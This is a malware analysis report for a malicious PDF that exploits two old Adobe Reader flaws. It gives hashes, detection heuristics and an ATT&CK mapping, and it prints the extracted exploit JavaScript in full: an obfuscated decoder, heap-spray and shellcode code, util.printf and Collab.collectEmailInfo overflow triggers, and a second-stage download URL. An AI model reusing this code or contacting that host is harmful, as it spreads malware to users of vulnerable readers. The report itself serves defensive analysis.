Malicious PDF — malware analysis report

Static analysis result for SHA-256 a9a8d8a980c6a266…

MALICIOUS

PDF

17.4 KB Created: 2009-07-22 09:05:46 Authoring application: sXGMVDOE37R (via OH3Dn) First seen: 2012-07-12
MD5: 12bff280f305e21c6b44bfaecb4affa3 SHA-1: 43aa5eb691fca83eda6518da1ec474b0ee3fac22 SHA-256: a9a8d8a980c6a2663bf63c2d45c417d1c6ed9e57c7d0bb771d0ecc8114da26b2
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

This PDF file contains obfuscated JavaScript that leverages multiple Adobe Reader vulnerabilities, specifically CVE-2007-5659 (Collab.collectEmailInfo) and CVE-2008-2992 (util.printf). The JavaScript is heavily encoded and uses a custom Base64 decoder, indicating an attempt to evade detection. The primary function of the script appears to be exploiting these vulnerabilities to download and execute a secondary payload. The ML classifier and ClamAV detection further support its malicious nature.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(QQktGm);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x228 16455 bytes
SHA-256: f68237e4ba5104aaceeb1ae98d69d966251d2c957de13eb095ffffb269803566
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 17 of 27 identifiers look randomly generated (e.g. 'Wm5WdVkzUnBiMjRnY25adVVqTjFaamxxS0UxUmFF') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var gXJPveSKaGl="";
                                var QQktGm="";
                                function LB3DRmI6S74tka( GkvRcJtFIY2n6Q ) {
                                    var tVscqS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var P632pwHcFFn, gE5lKXsOR, OfmUXPK1Iw6Lxv, eYXVLpy, Gj5C53, gHfsn2im, xXX50rxO0VQ, Yr6ha0ueB21, ntGjb4LEatIj = W9ulYrN = 0, J616zfG2gjiZ1R = "", GRyWLk6D = [];
                                    GkvRcJtFIY2n6Q += "";
                                    do {
                                        eYXVLpy = tVscqS.indexOf(GkvRcJtFIY2n6Q.charAt(ntGjb4LEatIj++));
                                        Gj5C53 = tVscqS.indexOf(GkvRcJtFIY2n6Q.charAt(ntGjb4LEatIj++));
                                        gHfsn2im = tVscqS.indexOf(GkvRcJtFIY2n6Q.charAt(ntGjb4LEatIj++));
                                        xXX50rxO0VQ = tVscqS.indexOf(GkvRcJtFIY2n6Q.charAt(ntGjb4LEatIj++));
                                        Yr6ha0ueB21 = eYXVLpy<<18 | Gj5C53<<12 | gHfsn2im<<6 | xXX50rxO0VQ;
                                        P632pwHcFFn = Yr6ha0ueB21>>16 & 0xff;
                                        gE5lKXsOR = Yr6ha0ueB21>>8 & 0xff;
                                        OfmUXPK1Iw6Lxv = Yr6ha0ueB21 & 0xff;
                                        if (gHfsn2im == 64) {
                                            GRyWLk6D[W9ulYrN++] = String.fromCharCode(P632pwHcFFn);
                                        } else if (xXX50rxO0VQ == 64) {
                                            GRyWLk6D[W9ulYrN++] = String.fromCharCode(P632pwHcFFn, gE5lKXsOR);
                                        } else {
                                            GRyWLk6D[W9ulYrN++] = String.fromCharCode(P632pwHcFFn, gE5lKXsOR, OfmUXPK1Iw6Lxv);
                                        }
                                    } while (ntGjb4LEatIj < GkvRcJtFIY2n6Q.length);
                                    J616zfG2gjiZ1R = GRyWLk6D.join("");
                                    J616zfG2gjiZ1R = lnPeg(J616zfG2gjiZ1R);
                                    return J616zfG2gjiZ1R;
                                }
                                function lnPeg ( P632pwHcFFn ) {
                                    var gE5lKXsOR = [], OfmUXPK1Iw6Lxv = eYXVLpy = GkvRcJtFIY2n6Q = Gj5C53 = gHfsn2im = 0;
                                    P632pwHcFFn += "";
                                    while ( OfmUXPK1Iw6Lxv < P632pwHcFFn.length ) {
                                        GkvRcJtFIY2n6Q = P632pwHcFFn.charCodeAt(OfmUXPK1Iw6Lxv);
                                        if (GkvRcJtFIY2n6Q < 128) {
                                            gE5lKXsOR[eYXVLpy++] = String.fromCharCode(GkvRcJtFIY2n6Q);
                                            OfmUXPK1Iw6Lxv++;
                                        } else if ((GkvRcJtFIY2n6Q > 191) && (GkvRcJtFIY2n6Q < 224)) {
                                            Gj5C53 = P632pwHcFFn.charCodeAt(OfmUXPK1Iw6Lxv+1);
                                            gE5lKXsOR[eYXVLpy++] = String.fromCharCode(((GkvRcJtFIY2n6Q & 31) << 6) | (Gj5C53 & 63));
                                            OfmUXPK1Iw6Lxv += 2;
                                        } else {
                                            Gj5C53 = P632pwHcFFn.charCodeAt(OfmUXPK1Iw6Lxv+1);
                                            gHfsn2im = P632pwHcFFn.charCodeAt(OfmUXPK1Iw6Lxv+2);
                                            gE5lKXsOR[eYXVLpy++] = String.fromCharCode(((GkvRcJtFIY2n6Q & 15) << 12) | ((Gj5C53 & 63) << 6) | (gHfsn2im & 63));
                                            OfmUXPK1Iw6Lxv += 3;
                                        }
                                    }
                                    return gE5lKXsOR.join("");
                                }

                gXJPveSKaGl= LB3DRmI6S74tka("function rvnR3uf9j(MQhOi){ return String['fromCharCode'](MQhOi);} function BDckL4UZNm(UZCLPf43uIjkw){ var ClqYslOL=0, tG4bbm8pO=UZCLPf43uIjkw.length, nSMkp0=1024, Piy19d5BXNu, YIlaLMB8, lWLCy='', qoshTafTjJYuqv=ClqYslOL, OF8upS=ClqYslOL, Fak37=ClqYslOL, T6pAthr=Array(63,38,49,47,35,22,8,51,43,41,0,0,0,0,0,0,10,12,27,58,15,7,61,16,26,17,21,13,18,4,46,33,30,56,24,39,19,25,28,45,14,57,20,0,0,0,0,53,0,31,34,52,40,37,32,11,60,23,59,5,36,44,42,50,0,55,48,1,3,6,9,2,62,29,54); for(YIlaLMB8=Math.ceil(tG4bbm8pO/nSMkp0);YIlaLMB8>ClqYslOL;YIlaLMB8--){ for(Piy19d5BXNu=Math.min(tG4bbm8pO,nSMkp0);Piy19d5BXNu>ClqYslOL;Piy19d5BXNu--,tG4bbm8pO--){ Fak37|=(T6pAthr[UZCLPf43uIjkw.charCodeAt(qoshTafTjJYuqv++)-48])<<OF8upS; if(OF8upS){ lWLCy+=rvnR3uf9j(188^Fak37&255); Fak37>>=8; OF8upS-=2; } else { OF8upS=6; } } } eval(lWLCy); } BDckL4UZNm('RjR030KY_Tmz8qa7@ERoLSF7aqK7UT9SU1AbDbQ4U1AbDbQ4U1AbDbQ4U1A4CS30U1h4D1d0U1mb@xaOU1AOACaOU1AOAoR4U1VxC0Q4U1VxXbQ4U1Vxx8a0U1VxMoRbU1mxCS00U1mxC83xU1AOx3dxU1AxC4RxU1VxCS3xU1mb613xU1VxDz3xU1VOC86bU1AbXn04U1VOC86bU1mbYS0bU1VxC7Q4U1VxCS30U1mb613xU1m0koQ4U1mbKLQbU1VxKza4U1A4goQ4U1VxCqR4U1VxCS3xU1V0F8dbU1m0k130U1hbgLQbU1mbvzR4U1A4g1a4U1VxCqdxU1VxCS3xU1V0F8dbU1m0k10bU1h0FTQbU1V4A1dxU1A4gC6xU1VxC76xU1VxCS3xU1V0F8dbU1m0k104U1A4ALQbU1A4CjR4U1A4gLdxU1VxC0d0U1VxCS3xU1V0F8dbU1m0kn3xU1m4YTQbU1A4FidbU1A4g1QbU1VxCjROU1VxCS3xU1V0F8dbU1V0C830U1AxgndxU1VOFjQ0U1mb@zRbU1mxgza0U1VxModbU1VxCSaxU1m0K13xU1VOF8dbU1mb6x30U1Vxxqa0U1VxYTRbU1mb6C3bU1mxgCa0U1A4gCaOU1VxC86bU1VxCS3xU1AOgC3xU1mxvbaOU1VOC0D4U1hbMoQbU1VxCS3xU1mb@13xU1mxDza0U1m4F86bU1m4C8Q0U1mb@C3xU1h0Cqa0U1V4ALQbU1VxCS3xU1m0CS3xU1V0F86bU1AOvn30U1m0@1DxU1m0F86bU1A4gn0bU1VxCTRxU1VxCS3xU1V0FS00U1m4Mx3xU1m0D13xU1h0K5R4U1m4MLR0U1Vxxq3xU1AOFiQbU1VxCS3xU1VOFq64U1mb6x3xU1VxDza0U1VxYTRbU1mb6C3bU1mxgCa0U1V0C7QbU1VxCS3xU1AOv13xU1m0g1DOU1V0FS00U1Ax0030U1m0006bU1V4AC00U1h0CiR0U1m00j3xU1V0F86bU1AOvn04U1m0@1a0U1m0F86bU1A4gn0bU1VxC000U1VxCS3xU1VxCTRbU1VOFq64U1mb6x3xU1Vxgza0U1VxQTRbU1mb6C3bU1mxgCa0U1mxC7QbU1VxCS3xU1AOv13xU1mb6z64U1mxCqa0U1VxYTRbU1mb6C3bU1mxgCa0U1VxC7QbU1VxCS3xU1V0YS3xU1m0QjDbU1A4YS00U1A4YS00U1A4YS00U1A4YS00U1A4DnQ0U1m0v130U1mb6C00U1A4Q0RbU1m0Qq6OU1A4Cq64U1mb6Ca0U1mb6oQ4U1Vxg5d4U1m0Xn6bU1m0k104U1VO086bU1mb6b04U1mxK5d0U1Vx0iQbU1m0kzQ0U1VOkn6bU1Vx003xU1Ax0qQ0U1V0@CdbU1AbXzaxU1m40S00U1Ax0jaOU1VxAzROU1mxCSR4U1V4Q4abU1Vxg5d0U1m4KCRxU1Vx0S34U1V0Cq6xU1V4Y76bU1V4KbDbU1VOFja4U1m0voR0U1A46n6bU1m0vn6bU1Vx0030U1AOkxd4U1VxDn6bU1mb6zDbU1mxDCabU1h4X100U1Vxx86bU1Vx086bU1m0KCR0U1m4Qj34U1VxCS0bU1V4x7QbU1V4AzR4U1m0Fq64U1V0DCDxU1V0Az34U1VxCqa4U1hb6n6OU1hbAN6bU1m4C0R0U1mbgCdxU1mbKNd4U1mbQ3Q4U1m4Y8R4U1mbC8Q4U1m4C86xU1hbANQ4U1h4@nQ0U1mb0jdxU1mbKndxU1m4Y86bU1mbMN64U1A4AN64P5YOVnVqX79z_T3cvLaFKuRoLSF7aqK7UT9SU1A4F7R0U1A4F7R0P5YO@qW7V@ycsC64EnVqX79zBEdcIavzXz0jaTPFM8FCFqmoLwyzL3KoZaQoZiKcUT9z_T3cvLaFK@vcUgFz6TKfH3yeHiDFLS6F_qQesnyFcgybcia4EnVqX79cIjW7snyFcgybcia4LxVoP0AoXiWcBTv4GnFzJPdoyjASD4V_BEdz_T3cvLaFK@Y7vjF76jV_L3KeAw9z_T3cvLaFK@vcUgFz6TylH3yeENA_JtyzZxAoJ3WlGSWcB4A_inFzpo62@o64AoReD4V_BEQ76iFzixAoJ3FeLEWqXadoyjASyjm7IEdcU3ASFjm7yiAeJPdzTjAeJBVfAPR_utR4Xo64E5W2iPUeEqW7XEFYJBVQsxAoJ3FeRjR030KY_Tmz8qa7@EmoyjAS@SW0WjQC5EdSKCROPP9Sk5ROk5ROk5dSiCUOk5ROkCYeP5ROk5dSiCvOML6OML6OPP9SML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OPP9SML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OMLdSiCvOML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OMLdSiCvOML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OML6OMCYePL6OML6OML6OML6OMLdSiCvOML6OML6OML6OML6OML6OML6OPP9SML6OML6OML6OML6OMLdSE1AoJtWlAjV_L4mzZCU16164AodzPw9oUjajXNN_JPdzvgFq6iFcL7Yh1aWCPTUeVPAS@qW7V10CyTxco0KSso9cU3ASFjm7yiAeJP6SHSmca4V_TgKSQ0K_e4W7KNDjz4DeRg3oiTm4qiKYgBVc3tvSq3D2MEDz14ReVPASgTy_GSKSZbWh@aK2XPa_l3m2I0NlGSWcB4A_5C6fq3D2MEDz14ReE4Wh@aK2XPa_l3m2I0XSiu6SRg3oiTm4qiKYgBVc3aRrVbWh@aK2XPa_l3m2I0XSsovzo8h_MjQFJTxouEFjLxVoP0AoXiWcBTv4GP0xMTVhRBXbTCReEo97U4VoXgKSRg3oiTm4qiKYgBVc3a6Ss79zvgFq6iFcL79C@4DCrTX_Z5vSE79oyjASv86hMxRh3aKSsov4M7QqAxK4a7QqEo9oyjAS1BFzXBa4kLD2Vu6SvgyzD0yqASKeP1Uo6x6bD1Uo6x6bD1Uo6x6bD1UoAnaxxSUoDxRbxSUo@nQ0k1UoMod0k1UoMo64K1UoY804D1UoYj6bD1UoYj3xFSUoYT64v1UoC8ax0SUoC83xCSUoMC0bCSUoQ8DbYSUoY8axCSUo@bRxCSUoY0R0CSUokn3b61Uo6CdxD1Uokn3b61Uo@1axg1UoY8D4D1UoY8axxSUo@bRxCSUoxi64D1Uo@z6Og1UoYqR0K1UoAN64D1UoY8a4K1UoY8axCSUoFq3b@1UoxiRxxSUogN6Og1Uo@1R4K1UoANRxK1UoY8a4CSUoY8axCSUoFq3b@1UoxiRxg1Uo0qDOg1UoKoRbCSUoANd4QSUoY8D4QSUoY8axCSUoFq3b@1UoxiRxD1UoAo6Og1UoAn34K1UoAN6OCSUoY804xSUoY8axCSUoFq3b@1UoxidxCSUoX1DOg1UoAzaO@1UoANRbg1UoY834k1UoY8axCSUoFq3b@1UoF83xxSUoQ3dbCSUokz340SUo@nR4v1UoC3R0FSUoYT64@1UoY8axYSUoxqRxCSUokz3b@1Uo@bQ0xSUoYja0FSUoYSDOv1Uo@bd0@1UoC3d0FSUoANd0k1UoY83b61UoY8axCSUoMNd0CSUoCS6xk1Uokn00A1UogL64g1UoY8axCSUo@nRxCSUoC0R0FSUoXz3b61UoXn3b0SUo@nd0CSUo08a0FSUoKo6Og1UoY8axCSUox8axCSUoFq3b61UoM1dxxSUox8RxQSUoxq3b61UoANdxg1UoY8DOYSUoY8axCSUoFqax0SUoXLQ0CSUox0RxCSUo0qROK1UoXL6OFSUoYja0CSUoMzaOg1UoY8axCSUokza4A1Uo@bQ0CSUoY0R0FSUoYSDOv1Uo@bd0@1UoC3d0FSUoF8D4g1UoY8axCSUoM1RxCSUox3RxM1UoFqax0SUoQ000xSUox00461UoKod00SUo08aOFSUox030CSUoFq3b61UoM1dxD1Uox8RxFSUoxq3b61UoANdxg1UoY8000SUoY8axCSUoY8DOv1Uokza4A1Uo@bQ0CSUoY3R0FSUoY4DOv1Uo@bd0@1UoC3d0FSUoC8D4g1UoY8axCSUoM1RxCSUo@bR4A1UoC8a0FSUoYSDOv1Uo@bd0@1UoC3d0FSUoY8D4g1UoY8axCSUoFSaxCSUox43061UoA1ax0SUoA1ax0SUoA1ax0SUoA1ax0SUoAxdb0SUoxSRxxSUo@bd00SUoAb04v1Uox4a4M1UoAna4A1Uo@bd0FSUo@b64D1UoY3ROX1Uoxjdb61UoxiRxD1Uokx3b61Uo@b6xD1UoCqROxSUoY0aOg1UoxiR40SUok5db61UoY000CSUoQ0a40SUoF8d4@1Uo6CR0YSUoXxax0SUoQ030k1UoY7R4k1UoC8abK1UoKbDxv1UoY3ROxSUoXzd4YSUoY0axX1UoF8a4QSUoK1D461UoKz6x61Uokz30K1UoxS64FSUoAbdb61UoxSdb61UoY000xSUoM5Q4X1UoY0db61Uo@bR061UoC0d0v1UoDCRx0SUoYj3b61UoY03b61Uoxqd4FSUoXb30X1UoY8axg1UoKCD4g1UoKoR4K1Uoxqa4A1UoF0d0QSUoF7R0X1UoY8a0K1Uo@5Q4CSUoDb3b61Uogxd4@1Uo@x0bA1UoDbQ4QjUeEo9oyjASP4QoKDy7CiXSsov4M464Ao64AP6S@qW7VwF7lSD4n7UfVHN_BjmFK56FMgvcUgFz6TKS5o94Eo9oyjASq3D2MEDz146Sso9q6NV7Tqmxe7UlVLvcDTPxAnxeALh4M5YOVnVqX7vzo8h_MjQFJTxouEFjVu6SvgyzD0yqASKeP1UokoROA1UokoROACUeEovzo8h_MjQFJTxouEFjVu6SQ0K_e4W7KNDjz4DeRg3oiTm4qiKYgBVc3tvSq3D2MEDz14ReEo9oyjAST06FxgKSsovev86hMxRh3aKSIov4M464Ao64A5YlP4QoKDy7CixOVnFcX7ve@qW7V1KYeTQ_9taxA0hoC834soQOUTPYMPyCrSD7D3mxCj6fT06FxgFOUTPYMPyCrSD7D3mxCjQei5vSE7Ux8qKYTg0qSSKYeTQ_9taxA0hoC834O7UfVbWh@aK2XPa_l3m2I0XSio9Y53W7zqROcThOVuASs79zvgFq6iFcL7vxDCKjkqVzKCx4Z5vSE79oyjASW0h7QTdji4DSsoUqA7ml@iyzgSW7nSW7DiFcLgvoT0XoXiWcBTUeEoUjD0AxMCx_Q7UfVzx7D4DONaKxLCVzAtyqaSKeTwXxTNKlPCUeEo9oyjASe0xjLj0CA7UfV@yzg7U0XjVqkTUjD0AxMCx_QgYqZqW7F4AeA5vlW0h7QTdji43laTyqXqDoZzReGzx7D4DONaKxLxK_yjV06T94J5YOV5WzVLvee0xjLj0CAaX4O7UfsovOVn91VLvee0xjLj0CAaP4O7UfsoU4Vn91V5xj3gW087hYXuXSpo94Jovrp7UY30Ncx3X7SqRQVw6SK5UeVwArVLUY30Ncx3X7S7RQVuRfVN6SHnvSe0xjLj0CAaP4O7vfVzReVwArVLUY30Ncx3X7S7RQVw6Sg5UeVPASn8AxdtDYZTUeEo9oyjAS34yxY3y7USK_z8yOVu6SvgyzD0yqASKeP1UoAxK4aSUoAxK4ajUeEoYoZiKcUTYjRSaxBqVzUTWFHidlGSWcB4A_Vw6S6bROvCReVxXzYS0zKSyzZB3zkoYesoYjRSaxBqVzUTWFHiQOVbA_J0mlaDKcGqWq34hcXSKSsoY0TtKcyjWlaDKcGSFq6SacyiKc_gWzTTY2DSmq5B6SPCvlI0hzuoYjRSaxBqVzUTWFHiRrJP6Ss7UrVb04P7P2KSy4N06eJP6Sst');");
                QQktGm=LB3DRmI6S74tka(gXJPveSKaGl);
                eval(QQktGm);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x11DA 4570 bytes
SHA-256: 52a2ccb667b874407fa454894d5afd023017200d8e0d3811afd003463a802db5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
d2AScXIxfWAqv=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var fIHn5HI1=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+d2AScXIxfWAqv.length;while(fIHn5HI1.length<fg)fIHn5HI1+=fIHn5HI1;var nmbr=fIHn5HI1.substring(0,fg);var stig=fIHn5HI1.substring(0,fIHn5HI1.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+d2AScXIxfWAqv}var veBQ2Wj="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",veBQ2Wj);function OZkVb() { var EWaXoNc = new Array(); function DchYdr1GPJD(dNvkx2KiXwzmS, KGxxMdZ4) { while (dNvkx2KiXwzmS.length*2<KGxxMdZ4){dNvkx2KiXwzmS += dNvkx2KiXwzmS;} dNvkx2KiXwzmS = dNvkx2KiXwzmS.substring(0,KGxxMdZ4/2); return dNvkx2KiXwzmS; } function VvDTLXh() { var u6L83MSk = 0x0c0c0c0c; var ZjgrJ19Hx = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var b4wqoqFY = 0x400000; var lsXE0V = ZjgrJ19Hx.length * 2; var KGxxMdZ4 = b4wqoqFY - (lsXE0V+0x38); var dNvkx2KiXwzmS = unescape("%u9090%u9090"); dNvkx2KiXwzmS = DchYdr1GPJD(dNvkx2KiXwzmS, KGxxMdZ4); var o3HBn = (u6L83MSk - 0x400000)/b4wqoqFY; for (var eXY8kULEpswFF2=0;eXY8kULEpswFF2<o3HBn;eXY8kULEpswFF2++) { EWaXoNc[eXY8kULEpswFF2] = dNvkx2KiXwzmS + ZjgrJ19Hx; } } function D3bPyqe1R3() { var QssD8RkD = app.viewerVersion.toString(); QssD8RkD = QssD8RkD.replace(/\D/g,""); var YSSnBWp = new Array(QssD8RkD.charAt(0),QssD8RkD.charAt(1),QssD8RkD.charAt(2)); if ((YSSnBWp[0] == 8 && ((YSSnBWp[1] == 1 && YSSnBWp[2] < 2) || YSSnBWp[1] < 1)) || (YSSnBWp[0] == 7 && YSSnBWp[1] < 1) || (YSSnBWp[0] < 7)) { VvDTLXh(); var SdEEgqeehJf9 = unescape("%u0c0c%u0c0c"); while(SdEEgqeehJf9.length < 44952) SdEEgqeehJf9 += SdEEgqeehJf9; this.collabStore = Collab.collectEmailInfo({subj: "",msg: SdEEgqeehJf9}); } } D3bPyqe1R3(); }

Open this report in the interactive analyzer, or submit your own file for analysis.